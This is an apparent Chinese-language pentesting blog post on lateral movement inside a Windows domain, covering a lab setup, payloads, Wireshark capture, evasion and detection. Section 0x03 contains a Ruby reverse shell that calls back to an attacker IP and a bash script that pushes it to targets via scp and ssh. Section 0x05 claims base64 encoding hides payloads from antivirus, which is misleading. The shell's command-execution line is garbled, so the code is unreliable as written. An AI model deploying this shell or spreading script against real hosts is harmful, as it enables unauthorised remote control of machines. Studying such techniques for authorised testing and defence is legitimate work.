0x01 攻击板块

在我进行过的许多渗透测试中,内网横向移动常常是关键的一步。想象一下,你已经成功侵入了目标网络,获得了一台服务器的访问权限,但这仅仅是个开始。为了获取有价值的信息,通常需要进一步渗透到其他机器或服务器上。这就像进入一个大型建筑,你在一间房间找到一把万能钥匙,接下来你就要设法用它去打开每一扇门。

黑客示意图

内网横向移动涉及到利用已掌握的权限或漏洞,从一个系统移动到另一个系统。通常情况下,这需要对目标网络架构有深入了解,包括识别域控制器、关键数据库和文件服务器等。

黑客示意图

0x02 实战环境搭建

在开始任何攻击之前,我总是会搭建一个类似的虚拟环境来测试攻击链,确保每个步骤都运行顺利。在这次实验中,我使用了VirtualBox来搭建一个小型Windows环境,包括以下组件:

  • Windows Server 2019作为域控制器
  • Windows 10企业版作为域内工作站
  • Kali Linux作为攻击机

在这样的环境中,我们可以从Kali Linux发起攻击,尝试从Windows 10工作站移动到域控制器。这个设置确保我们不会在真实网络中进行未经授权的攻击——要记住,所有测试必须在受控环境中进行,并获得相关授权。

0x03 Payload构造的艺术

为了实现内网横向移动,通常需要构造有效载荷,能够在目标系统中执行代码。我通常使用Ruby和Shell脚本混合编写载荷,因为它允许我灵活地操控,适应不同的环境和需求。

下面是一个简单的Ruby脚本,配合Shell命令,在目标机器上传播:

<pre><code class="language-ruby"># 使用Ruby构造一个简单的横向移动载荷 require &#039;socket&#039; require &#039;openssl&#039;

def create_reverse_shell(ip, port)

这个函数创建一个反向shell连接,返回给攻击机

socket = TCPSocket.new(ip, port) socket.puts &quot;连接成功!&quot;

while cmd = socket.gets result = #{cmd} # 执行攻击机发送的命令 socket.puts result end end

create_reverse_shell(&#039;192.168.1.100&#039;, 4444)</code></pre>

这个脚本假设攻击机在192.168.1.100上监听4444端口。将这个载荷放入目标系统,然后通过Shell脚本传播:

<pre><code class="language-shell">#!/bin/bash

向目标机器推送Ruby载荷并执行

TARGET_IP=&quot;192.168.1.101&quot; scp shell.rb user@$TARGET_IP:/tmp/shell.rb ssh user@$TARGET_IP &quot;ruby /tmp/shell.rb&quot;</code></pre>

0x04 流量捕获实战

有一次,在一个客户现场,我使用流量捕获技术识别了目标网络中的横向移动流量。通过分析流量,可以识别出NetBIOS、SMB或RPC协议,这些通常是进行横向移动的主要方式。

在Kali上,你可以使用Wireshark来查看这些流量:

黑客示意图

<pre><code class="language-shell">wireshark -k -i eth0</code></pre>

通过设置过滤器,比如"tcp.port == 445"来专注于SMB流量。捕获到的流量可以帮助我们进一步了解目标网络的行为模式,从而调整我们的攻击策略。

0x05 绕过免杀技巧

在实战中,一个成功的内网横向移动攻击通常要绕过各种防御措施,尤其是反病毒软件和EDR(端点检测响应)系统。为了实现这一点,我经常使用混淆技术和内存加载技术,使得载荷难以被检测。

比如,可以在Ruby脚本中使用encode技术:

<pre><code class="language-ruby">encoded_payload = Base64.encode64(File.read(&quot;shell.rb&quot;)) puts &quot;载荷已混淆,难以被检测&quot;</code></pre>

然后在目标机器上解码并执行。这种方式可以有效减少被检测的可能性。

0x06 检测与防御

当然,作为一名攻击者,我也会研究如何防御这些攻击,以便改进我的技术。防御者可以在网络中设置策略,以检测异常流量和可疑行为。启用严格的日志记录和实时监控,可以帮助识别潜在的攻击活动。

利用机器学习和行为分析技术,企业可以预先检测到异常模式,并采取措施阻止横向移动。通常,我建议客户使用这些技术,因为它们提供了更先进的检测能力。

0x07 个人经验分享

黑客示意图

在多年的实战中,我学到的关键经验是永远要对目标环境有深入了解,从网络架构到安全防护措施。还有一次,我在一个复杂的内网中进行了横向移动,但因为不了解他们的日志策略,最终被发现。这让我意识到,理解防御者的行动和策略是成功渗透的关键。

记住,所有攻击技术都必须在合法授权下进行,这样可以确保研究的安全性和合规性。希望这些经验能够帮助你在你的研究和测试中取得更好的效果。